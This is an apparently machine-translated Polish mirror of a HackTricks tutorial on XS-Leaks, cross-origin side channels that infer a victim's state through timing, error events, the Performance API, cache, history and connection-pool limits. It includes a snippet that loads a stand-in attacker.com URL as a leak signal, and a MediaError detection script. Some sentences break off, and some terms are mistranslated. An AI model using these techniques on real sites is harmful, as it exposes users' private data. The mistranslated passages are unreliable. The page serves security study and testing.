Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md
Translator workflow 5e0daf0e23 Translated to Polish
2024-02-11 01:46:25 +00:00

81 KiB
Raw Blame History

XS-Search/XS-Leaks

Użyj Trickest, aby łatwo tworzyć i automatyzować zadania za pomocą najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

XS-Search to metoda wykorzystywana do wydobywania informacji międzydomenowych poprzez wykorzystanie podatności kanałów bocznych.

Kluczowe składniki zaangażowane w ten atak to:

  • Podatna strona internetowa: Docelowa strona internetowa, z której ma być wydobywana informacja.
  • Strona internetowa atakującego: Złośliwa strona internetowa stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
  • Metoda włączenia: Technika stosowana do włączenia Podatnej strony internetowej do Strony internetowej atakującego (np. window.open, iframe, fetch, znacznik HTML z href itp.).
  • Technika wycieku: Techniki używane do rozróżniania różnic w stanie Podatnej strony internetowej na podstawie informacji zebranych za pomocą metody włączenia.
  • Stany: Dwa potencjalne stany Podatnej strony internetowej, które atakujący ma na celu rozróżnienie.
  • Rozpoznawalne różnice: Obserwowalne różnice, na których atakujący polega, aby wnioskować o stanie Podatnej strony internetowej.

Rozpoznawalne różnice

Kilka aspektów można zbadać, aby rozróżnić stany Podatnej strony internetowej:

  • Kod stanu: Rozróżnianie między różnymi kodami stanu odpowiedzi HTTP międzydomenowymi, takimi jak błędy serwera, błędy klienta lub błędy uwierzytelniania.
  • Użycie interfejsu API: Identyfikowanie użycia interfejsów API sieci Web na stronach, ujawniające, czy strona międzydomenowa korzysta z określonego interfejsu API JavaScript.
  • Przekierowania: Wykrywanie nawigacji do innych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
  • Zawartość strony: Obserwowanie różnic w treści odpowiedzi HTTP lub w podzasobach strony, takich jak liczba osadzonych ramek lub różnice w rozmiarze obrazów.
  • Nagłówek HTTP: Zauważanie obecności lub możliwej wartości konkretnego nagłówka odpowiedzi HTTP, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
  • Czas: Zauważanie spójnych różnic czasowych między dwoma stanami.

Metody włączenia

  • Elementy HTML: HTML oferuje różne elementy do włączania zasobów międzydomenowych, takie jak arkusze stylów, obrazy lub skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML w tym celu można znaleźć pod adresem https://github.com/cure53/HTTPLeaks.
  • Ramki: Elementy takie jak iframe, object i embed mogą bezpośrednio osadzać zasoby HTML w stronie atakującego. Jeśli strona nie ma ochrony przed osadzaniem, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
  • Wyskakujące okna: Metoda window.open otwiera zasób w nowej karcie lub oknie, dostarczając uchwytu okna, z którym JavaScript może współdziałać za pomocą metod i właściwości zgodnie z SOP. Wyskakujące okna, często używane w jednokrotnym logowaniu, omijają ograniczenia osadzania i ciasteczek docelowego zasobu. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
  • Żądania JavaScript: JavaScript umożliwia bezpośrednie żądania zasobów docelowych za pomocą XMLHttpRequests lub Fetch API. Metody te oferują precyzyjną kontrolę nad żądaniem, na przykład możliwość śledzenia przekierowań HTTP.

Techniki wycieku

  • Obsługa zdarzeń: Klasyczna technika wycieku w XS-Leaks, gdzie obsługa zdarzeń takich jak onload i onerror dostarcza informacji o sukcesie lub niepowodzeniu ładowania zasobu.
  • Komunikaty o błędach: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku zarówno bezpośrednio z komunikatu o błędzie, jak i przez różnicowanie między jego obecnością a nieobecnością.
  • Globalne limity: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone limity przeglądarki, mogą sygnalizować osiągnięcie progu, służąc jako technika wycieku.
  • Globalny stan: Wykrywalne interakcje z globalnymi stanami przeglądarek (np. interfejsem Historii) mogą być wykorzystane. Na przykład liczba wpisów w historii przeglądarki może dawać wskazówki dotyczące stron międzydomenowych.
  • API wydajności: To API dostarcza szczegółowe informacje o wydajności bieżącej strony, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioskowanie o żądanych zasobach.
  • Odczytywalne atrybuty: Niektóre atrybuty HTML są odczytywalne międzydomenowo i mogą być wykorzystane jako technika wycieku. Na przykład właściwość window.frame.length pozwala JavaScriptowi zliczać osadzone ramki na stronie międzydomenowej.

Narzędzie XSinator i artykuł

XSinator to automatyczne narzędzie do sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks opisanych w artykule: https://xsinator.com/paper.pdf

Możesz **uzyskać dostęp do narzędzia pod adresem [https://xsinator.com/](https://xsinator

Techniki oparte na czasie

Niektóre z poniższych technik wykorzystują czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieje wiele sposobów mierzenia czasu w przeglądarce internetowej.

Zegary: Interfejs API performance.now() umożliwia programistom uzyskiwanie pomiarów czasu o wysokiej rozdzielczości.
Atakujący może wykorzystać znaczną liczbę interfejsów API do tworzenia niejawnych zegarów: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animacje CSS i inne.
Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Techniki obsługi zdarzeń

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Przykład kodu próbuje ładować obiekty skryptów z JS, ale można również używać innych tagów, takich jak obiekty, arkusze stylów, obrazy, dźwięki. Ponadto, możliwe jest również wstrzyknięcie bezpośrednio tagu i zadeklarowanie zdarzeń onload i onerror wewnątrz tagu (zamiast wstrzykiwania go z JS).

Istnieje również wersja ataku bez użycia skryptu:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

W tym przypadku, jeśli example.com/404 nie zostanie znalezione, zostanie załadowane attacker.com/?error.

Czas ładowania

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Czas ładowania + Wymuszone zadanie o dużej intensywności

Ta technika jest podobna do poprzedniej, ale atakujący będzie również wymuszał pewne działanie, aby zajęło to znaczącą ilość czasu, gdy odpowiedź jest pozytywna lub negatywna, a następnie zmierzy ten czas.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Czas wyładowania/przed wyładowaniem

Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia unload i beforeunload. Zdarzenie beforeunload jest wywoływane, gdy przeglądarka ma przejść do nowej strony, podczas gdy zdarzenie unload występuje, gdy nawigacja faktycznie się odbywa. Różnica czasu między tymi dwoma zdarzeniami może być obliczona, aby określić czas, jaki przeglądarka spędziła na pobieraniu zasobu.

Czas ładowania ramki z ograniczeniami + onload

Zauważono, że w przypadku braku Ochrony ramkowej, czas potrzebny na załadowanie strony i jej podzasobów przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ obsługa zdarzenia onload ramki jest wywoływana dopiero po zakończeniu ładowania zasobów i wykonania kodu JavaScript. Aby ominąć zmienność wprowadzaną przez wykonanie skryptu, atakujący może użyć atrybutu sandbox wewnątrz znacznika <iframe>. Użycie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie kodu JavaScript, ułatwiając tym samym pomiar, który jest głównie zależny od wydajności sieciowej.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + błąd + onload

  • Metody włączenia: Ramki
  • Wykrywalna różnica: Zawartość strony
  • Więcej informacji:
  • Podsumowanie: Jeśli możesz spowodować błąd strony, gdy dostępna jest poprawna zawartość, i załadować ją poprawnie, gdy dostępna jest dowolna zawartość, możesz utworzyć pętlę, aby wydobyć wszystkie informacje bez mierzenia czasu.
  • Przykład kodu:

Załóżmy, że możesz wstawić stronę, która zawiera tajną zawartość wewnątrz Iframe.

Możesz sprawić, że ofiara będzie szukać pliku zawierającego "flagę" za pomocą Iframe (wykorzystując na przykład CSRF). Wewnątrz Iframe wiesz, że zdarzenie onload zostanie zawsze wykonane co najmniej raz. Następnie możesz zmienić URL Iframe, zmieniając tylko zawartość hasła wewnątrz URL.

Na przykład:

  1. URL1: www.atakujący.com/xssearch#try1
  2. URL2: www.atakujący.com/xssearch#try2

Jeśli pierwszy URL został pomyślnie załadowany, to po zmianie części hasła w URL zdarzenie onload nie zostanie ponownie wywołane. Ale jeśli strona miała jakiegoś rodzaju błąd podczas ładowania, to zdarzenie onload zostanie ponownie wywołane.

W ten sposób możesz rozróżnić między stroną poprawnie załadowaną a stroną, która ma błąd podczas dostępu.

Wykonanie JavaScriptu

  • Metody włączenia: Ramki
  • Wykrywalna różnica: Zawartość strony
  • Więcej informacji:
  • Podsumowanie: Jeśli strona zwraca wrażliwą zawartość lub zawartość, którą użytkownik może kontrolować. Użytkownik może ustawić poprawny kod JS w przypadku negatywnym, a następnie załadować każdą próbę wewnątrz znaczników <script>, więc w przypadkach negatywnych kod atakującego jest wykonywany, a w przypadkach pozytywnych nic nie zostanie wykonane.
  • Przykład kodu:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Metody włączenia: Elementy HTML
  • Wykrywalna różnica: Kod stanu i nagłówki
  • Więcej informacji: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Podsumowanie: Cross-Origin Read Blocking (CORB) to środek bezpieczeństwa, który zapobiega ładowaniu pewnych wrażliwych zasobów międzydomenowych w celu ochrony przed atakami takimi jak Spectre. Jednak atakujący mogą wykorzystać jego zachowanie ochronne. Gdy odpowiedź podlegająca CORB zwraca zabezpieczony Content-Type z nosniff i kodem stanu 2xx, CORB usuwa treść i nagłówki odpowiedzi. Atakujący obserwujący to mogą wnioskować o połączeniu kodu stanu (wskazującego na sukces lub błąd) i Content-Type (oznaczającego, czy jest chroniony przez CORB), co prowadzi do potencjalnego wycieku informacji.
  • Przykład kodu:

Sprawdź link do więcej informacji na temat ataku.

onblur

Możliwe jest załadowanie strony wewnątrz Iframe i użycie #wartość_id, aby strona skupiła się na elemencie Iframe z wskazanym id, a następnie, jeśli zostanie wywołany sygnał onblur, element ID istnieje.
Możesz przeprowadzić ten sam atak za pomocą znaczników portal.

Komunikaty postMessage

  • Metody włączenia: Ramki, Wyskakujące okna
  • Wykrywalna różnica: Użycie interfejsu API
  • Więcej informacji: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Podsumowanie: Zbieranie wrażliwych informacji za pomocą postMessage lub wykorzystanie obecności postMessage jako orakulum do poznania stanu użytkownika na stronie.
  • Przykład kodu: Kod nasłuchujący wszystkich komunikatów postMessage.

Aplikacje często korzystają z komunikatów postMessage do komunikacji między różnymi domenami. Jednak ta metoda może niechcący ujawnić wrażliwe informacje, jeśli parametr targetOrigin nie jest poprawnie określony, co pozwala na odbieranie wiadomości przez dowolne okno. Ponadto, sam fakt otrzymania wiadomości może działać jako orakulum; na przykład pewne wiadomości mogą być wysyłane tylko do użytkowników zalogowanych. Dlatego obecność lub brak tych wiadomości może ujawnić informacje na temat stanu lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni czy nie.

Użyj Trickest, aby łatwo tworzyć i automatyzować zadania zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Techniki globalnych limitów

Interfejs API WebSocket

Możliwe jest zidentyfikowanie, czy i ile połączeń WebSocket używa strona docelowa. Pozwala to atakującemu wykryć stany aplikacji i wyciekać informacje związane z liczbą połączeń WebSocket.

Jeśli jedno pochodzenie używa maksymalnej liczby obiektów połączenia WebSocket, niezależnie od ich stanu połączenia, utworzenie nowych obiektów spowoduje wyjątki JavaScript. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w wyskakującym oknie lub Iframe, a następnie, po załadowaniu strony doc

Payment API

Ten XS-Leak umożliwia atakującemu wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności.

Ponieważ tylko jedno żądanie płatności może być aktywne w tym samym czasie, jeśli docelowa witryna korzysta z interfejsu Payment Request API, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują wyjątek JavaScript. Atakujący może wykorzystać to, okresowo próbując pokazać interfejs API płatności. Jeśli jedna próba powoduje wyjątek, oznacza to, że docelowa witryna aktualnie go używa. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.

Pomiar pętli zdarzeń

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript działa na zasadzie jednowątkowej pętli zdarzeń single-threaded event loop, co oznacza, że może wykonywać tylko jedno zadanie na raz. Ta cecha może być wykorzystana do pomiaru czasu wykonania kodu z innego źródła. Atakujący może mierzyć czas wykonania własnego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia o stałych właściwościach. Te zdarzenia zostaną przetworzone, gdy pulapka zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej pulapki, atakujący może wnioskować o czasie potrzebnym na wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonywaniu własnych zadań. Ta metoda monitorowania pętli zdarzeń w celu wykrywania opóźnień może ujawnić czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.

{% hint style="warning" %} Podczas pomiaru czasu wykonania można wyeliminować czynniki sieciowe, aby uzyskać bardziej precyzyjne pomiary. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem. {% endhint %}

Zajęta pętla zdarzeń

  • Metody włączenia:
  • Wykrywalna różnica: Czas (zwykle związany z zawartością strony, kodem stanu)
  • Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Podsumowanie: Jedna z metod pomiaru czasu wykonania operacji na stronie polega na celowym zablokowaniu pętli zdarzeń wątku, a następnie pomiarze czasu, jaki zajmuje pętli zdarzeń, aby ponownie stać się dostępną. Poprzez wstawienie operacji blokującej (takiej jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorowanie czasu, jaki upływa przed rozpoczęciem wykonania kolejnego kodu, można wnioskować o czasie trwania zadań wykonywanych w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkową naturę pętli zdarzeń JavaScript, w której zadania są wykonywane sekwencyjnie, i może dostarczać informacji na temat wydajności lub zachowania innych operacji, które korzystają z tego samego wątku.
  • Przykład kodu:

Znaczącą zaletą techniki pomiaru czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia Izolacji witryny. Izolacja witryny to funkcja zabezpieczająca, która oddziela różne witryny od siebie, aby zapobiec bezpośredniemu dostępowi złośliwych witryn do wrażliwych danych innych witryn. Jednak poprzez wpływanie na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wyciągnąć informacje na temat działań tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, ale obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, unikając tym samym barier ochronnych ustanowionych przez Izolację witryny.

{% hint style="warning" %} Podczas pomiaru czasu wykonania można wyeliminować czynniki sieciowe, aby uzyskać bardziej precyzyjne pomiary. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem. {% endhint %}

Pula połączeń

  • Metody włączenia: Żądania JavaScript
  • Wykrywalna różnica: Czas (zwykle związany z zawartością strony, kodem stanu)
  • Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Podsumowanie: Atakujący może zablokować wszystkie gniazda oprócz jednego, załadować docelową witrynę i jednocześnie załadować inną stronę, czas do rozpoczęcia ładowania ostatniej strony to czas, jaki zajęło załadowanie strony docelowej.
  • Przykład kodu:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale ze względu na ograniczone zasoby systemu operacyjnego i sprzętu, przeglądarki są zmuszone narzucić limit na liczbę równoczesnych gniazd. Atakujący może wykorzystać to ograniczenie, wykonując następujące kroki:

  1. Określ limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
  2. Zajmij 255 gniazd na dłuższy czas, inicjując 255 żądań do różnych hostów, które mają na celu utrzymanie otwartych połączeń bez ich zakończenia.
  3. Wykorzystaj 256. gniazdo do wysłania żądania do strony docelowej.
  4. Spróbuj wysłać 257. żądanie do innego hosta. Ponieważ wszystkie gniazda są w użyciu (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce, aż gniazdo stanie się dostępne. Opóźnienie przed kontynuacją tego żądania dostarcza atakującemu informacje o czasie aktywności sieciowej związanym z 256. gniazdem (gniazdem strony docelowej). Wnioskowanie to jest możliwe,

Techniki API wydajności

Performance API oferuje wgląd w metryki wydajności aplikacji internetowych, wzbogacone przez Resource Timing API. Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. Warto zauważyć, że gdy serwery zawierają nagłówek Timing-Allow-Origin: * w odpowiedziach, dostępne stają się dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny.

Te bogate dane można uzyskać za pomocą metod takich jak performance.getEntries lub performance.getEntriesByName, zapewniając wszechstronny widok informacji związanych z wydajnością. Dodatkowo, API ułatwia pomiar czasów wykonania poprzez obliczanie różnicy między znacznikami czasowymi uzyskanymi z performance.now(). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach, takich jak Chrome, precyzja performance.now() może być ograniczona do milisekund, co może wpływać na dokładność pomiarów czasowych.

Poza pomiarami czasowymi, API Performance można wykorzystać do uzyskiwania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie performance w Chrome może wskazywać na zastosowanie X-Frame-Options. Konkretnie, jeśli strona jest blokowana przed renderowaniem w ramce ze względu na X-Frame-Options, nie zostanie zarejestrowana w obiekcie performance, co dostarcza subtelnych wskazówek dotyczących polityk ramkowania strony.

Wyciek błędów

Możliwe jest rozróżnienie między kodami stanu odpowiedzi HTTP, ponieważ żądania, które prowadzą do błędu, nie tworzą wpisu dotyczącego wydajności.

Błąd ponownego ładowania stylu

W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC powodują ładowanie zasobów dwukrotnie, gdy nie są w stanie się załadować. Powoduje to wielokrotne wpisy w API Performance i może być wykryte.

Błąd scalania żądań

Technika została znaleziona w tabeli w wymienionym dokumencie, ale nie znaleziono na niej opisu techniki. Jednak kod źródłowy sprawdzający to można znaleźć pod adresem https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Wyciek pustej strony

Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ puste strony nie tworzą wpisu dotyczącego wydajności w niektórych przeglądarkach.

Wyciek XSS-Auditor

W Security Assertions (SA), XSS Auditor, pierwotnie przeznaczony do zapobiegania atakom typu Cross-Site Scripting (XSS), paradoksalnie może być wykorzystany do wycieku poufnych informacji. Chociaż ta wbudowana funkcja została usunięta z przeglądarki Google Chrome (GC), wciąż jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor może przypadkowo blokować prawidłowe skrypty, co prowadzi do fałszywych pozytywów. Na tej podstawie badacze opracowali techniki wydobywania informacji i wykrywania określonej zawartości na stronach o różnym pochodzeniu, koncepcję znaną jako XS-Leaks, początkowo zgłoszoną przez Teradę i rozwiniętą przez Heyesa w wpisie na blogu. Chociaż te techniki dotyczyły tylko XSS Auditora w GC, odkryto, że w SA strony blokowane przez XSS Auditora nie generują wpisów w API Performance, ujawniając metodę wycieku poufnych informacji.

Wyciek X-Frame

Wyciek przekierowania początkowego

Znaleźliśmy jedno wystąpienie XS-Leak, które wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dotyczących żądań międzydomenowych. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów międzydomenowych. Jednak w SA możliwe jest wykrycie, czy użytkownik jest przekierowany przez stronę docelową, poprzez zapytanie Performance API i sprawdzenie danych czasowych redirectStart.

Wyciek czasu trwania przekierowania

W GC, czas trwania dla żądań, które skutkują przekierowaniem, jest ujemny i można go zatem rozróżnić od żądań, które nie skutkują przekierowaniem.

Wyciek CORP

W niektórych przypadkach można użyć wpisu nextHopProtocol jako techniki wycieku. W GC, gdy ustawiony jest nagłówek CORP, nextHopProtocol będzie pusty. Należy zauważyć, że SA w ogóle nie tworzy wpisu wydajnościowego dla zasobów z włączonym CORP.

Pracownik usługi

Pracownicy usługi są kontekstami skryptowymi sterowanymi zdarzeniami, które działają w określonym źródle. Pracują w tle strony internetowej i mogą przechwytywać, modyfikować i buforować zasoby, aby tworzyć aplikacje internetowe offline.
Jeśli zasób buforowany przez pracownika usługi jest dostępny za pośrednictwem ramki, zasób zostanie załadowany z bufora pracownika usługi.
Aby sprawdzić, czy zasób został załadowany z bufora pracownika usługi, można użyć Performance API.
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).

Pamięć podręczna

Za pomocą Performance API można sprawdzić, czy zasób jest buforowany.

Czas trwania sieci

Technika komunikatów o błędach

Błąd multimediów

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

Interfejs MediaError posiada właściwość message, która jednoznacznie identyfikuje zasoby, które są poprawnie ładowane za pomocą unikalnego ciągu znaków. Atakujący może wykorzystać tę funkcję, obserwując zawartość wiadomości, co pozwala wywnioskować status odpowiedzi zasobu z innej domeny.

Błąd CORS

Ta technika umożliwia atakującemu wydobycie celu przekierowania strony z innej domeny poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy żądanie z włączonym CORS jest wysyłane do docelowej strony, która przekierowuje na podstawie stanu użytkownika, a następnie przeglądarka odrzuca żądanie, w komunikacie o błędzie ujawniany jest pełny adres URL docelowego przekierowania. Ta podatność nie tylko ujawnia fakt przekierowania, ale także eksponuje punkt końcowy przekierowania i ewentualne wrażliwe parametry zapytania, które może zawierać.

Błąd SRI

Atakujący może wykorzystać rozszerzone komunikaty o błędach, aby wywnioskować rozmiar odpowiedzi zasobów z innej domeny. Jest to możliwe dzięki mechanizmowi Integralności Podzasobów (SRI), który używa atrybutu integralności do sprawdzania, czy zasoby pobierane, często z CDN-ów, nie zostały zmodyfikowane. Aby SRI działało na zasobach z innej domeny, muszą być włączone CORS; w przeciwnym razie nie podlegają one sprawdzaniu integralności. W przypadku twierdzeń dotyczących bezpieczeństwa (SA), podobnie jak w przypadku błędu CORS XS-Leak, można przechwycić komunikat o błędzie po nieudanym żądaniu fetch z atrybutem integralności. Atakujący może celowo wywołać ten błąd, przypisując fałszywą wartość skrótu do atrybutu integralności dowolnego żądania. W przypadku twierdzeń dotyczących bezpieczeństwa (SA), wynikający z tego komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Wyciek tej informacji pozwala atakującemu rozpoznać różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.

Naruszenie/odkrycie CSP

XS-Leak może wykorzystać CSP do wykrycia, czy strona z innej domeny została przekierowana na inną domenę. Wyciek ten może wykryć przekierowanie, ale dodatkowo ujawnia domenę docelową przekierowania. Podstawową ideą tego ataku jest dozwolenie na domenę docelową na stronie atakującego. Po wysłaniu żądania do domeny docelowej, następuje przekierowanie na domenę z innej domeny. CSP blokuje dostęp do niej i tworzy raport naruszenia używany jako technika wycieku. W zależności od przeglądarki, ten raport może ujawnić lokalizację docelową przekierowania.
Nowoczesne przeglądarki nie wskażą adresu URL, na który nastąpiło przekierowanie, ale wciąż można wykryć, że zostało ono uruchomione.

Pamięć podręczna

Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Bez względu na ich pochodzenie, można wywnioskować, czy strona docelowa żądała określonego pliku.

Jeśli strona ładowana jest obrazem tylko wtedy, gdy użytkownik jest zalogowany, można unieważnić ten zasób (aby nie był już w pamięci podręcznej, jeśli był, zobacz więcej informacji w linkach), wykonać żądanie, które mogłoby załadować ten zasób i spróbować załadować zasób za pomocą błędnego żądania (np. używając zbyt długiego nagłówka referer). Jeśli ładowanie zasobu nie spowodowało żadnego błędu, oznacza to, że jest on w pamięci podręcznej.

Dyrektywa CSP

CORB

Sprawdź link, aby uzyskać więcej informacji na temat ataku.

Błąd CORS na skutek błędu konfiguracji odbicia pochodzenia

Jeśli nagłówek Origin jest odbijany w nagłówku Access-Control-Allow-Origin, atakujący może wykorzystać to zachowanie, aby spróbować pobrać zasób w trybie CORS. Jeśli nie zostanie wywołany błąd, oznacza to, że zasób został poprawnie pobrany z sieci, jeśli zostanie wywołany błąd, oznacza to, że został pobrany z pamięci podręcznej (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS, który zezwala na oryginalną domenę, a nie na domenę atakującego).
Należy zauważyć, że jeśli nie jest odbijany pochodzenie, ale używany jest znak wieloznaczny (Access-Control-Allow-Origin: *), to nie zadziała.

Technika odczytu atrybutów

Przekierowanie Fetch

Przesyłając żądanie za pomocą Fetch API z parametrem redirect: "manual" i innymi parametrami, możliwe jest odczytanie atrybutu response.type, a jeśli jest równy opaqueredirect, oznacza to, że odpowiedź była przekierowaniem.

COOP

Atakujący jest w stanie wywnioskować obecność nagłówka Cross-Origin Opener Policy (COOP) w odpowiedzi HTTP z innego pochodzenia. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskiwania dowolnych odwołań do okien. Obecność tego nagłówka można zauważyć, próbując uzyskać dostęp do odwołania contentWindow. W przypadkach, gdy COOP jest stosowane warunkowo, właściwość opener staje się wskaźnikiem: jest niezdefiniowana, gdy COOP jest aktywne, a zdefiniowana, gdy jest nieaktywne.

Maksymalna długość adresu URL - po stronie serwera

Jeśli przekierowanie po stronie serwera używa danych użytkownika wewnątrz przekierowania i dodatkowych danych, możliwe jest wykrycie tego zachowania, ponieważ serwery zwykle mają limit długości żądania. Jeśli dane użytkownika mają tę samą długość - 1, ponieważ przekierowanie używa tych danych i dodaje coś dodatkowego, spowoduje to błąd wykrywalny za pomocą zdarzeń błędów.

Jeśli somehow uda ci się ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, ustawiając wystarczającą ilość ciasteczek (cookie bomb), aby zwiększyć rozmiar odpowiedzi poprawnej odpowiedzi i spowodować błąd. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, <script> automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).
Przykład cookie bomb + XS-Search można znaleźć w zamierzonym rozwiązaniu tego rozwiązania: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

Zazwyczaj dla tego rodzaju ataku wymagane jest ustawienie SameSite=None lub bycie w tym samym kontekście.

Maksymalna długość adresu URL - po stronie klienta

Maksymalna liczba przekierowań

Jeśli maksymalna liczba przekierowań przeglądarki wynosi 20, atakujący może spróbować załadować swoją stronę z 19 przekierowaniami i ostatecznie przekierować ofiarę na testowaną stronę. Jeśli zostanie wywołany błąd, oznacza to, że strona próbowała przekierować ofiarę.

Długość historii

API Historii umożliwia kodowi JavaScript manipulowanie historią przeglądarki, która zapisuje odwiedzone przez użytkownika strony. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.
Sprawdzanie history.length, sprawienie, że użytkownik przechodzi do strony, zmiana jej z powrotem do tego samego pochodzenia i sprawdzenie nowej wartości history.length.

Długość historii dla tego samego URL

  • Metody włączenia: Ramki, Wyskakujące okna
  • Wykrywalna różnica: Jeśli URL jest taki sam jak zgadywany
  • Podsumowanie: Możliwe jest zgadnięcie, czy lokalizacja ramki/wyskakującego okna znajduje się w określonym URL, wykorzystując długość historii.
  • Przykład kodu: Poniżej

